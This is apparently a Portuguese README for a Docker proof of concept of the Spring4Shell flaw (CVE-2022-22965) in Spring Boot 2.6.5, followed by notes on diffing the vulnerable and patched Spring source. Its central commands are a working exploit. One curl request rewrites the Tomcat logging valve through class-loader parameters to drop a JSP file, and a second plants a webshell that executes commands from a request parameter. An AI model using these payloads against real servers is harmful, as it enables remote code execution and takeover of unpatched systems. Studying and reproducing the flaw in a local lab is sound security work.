
Prova de conceito baseada em Docker para CVE-2022-22965 (Spring4Shell) vulnerabilidade de execução remota de código em Spring Boot 2.6.5, com implantação automatizada de webshell e comparação de patches.
Docker PoC para CVE-2022-22965 com Spring Boot versão 2.6.5

docker compose up --build para construir e iniciar a aplicação vulnerável.curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" para alterar a configuração do valve do Tomcat.curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x"O código fonte para Spring Framework 5.3.17 (vulnerável) e Spring Framework 5.3.18 (corrigido) pode ser baixado respectivamente de:
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
A vulnerabilidade é encontrada no arquivo /spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java na linha 290 onde a validação é aplicada para os métodos Class.getClassLoader() e getProtectionDomain(), mas não para os tipos ClassLoader, ProtectionDomain e nomes PropertyDescriptors.
A diferença entre o código vulnerável e o código corrigido pode ser obtida com o comando diff.
$ diff spring-framework-5.3.17/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java spring-framework-5.3.18/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java
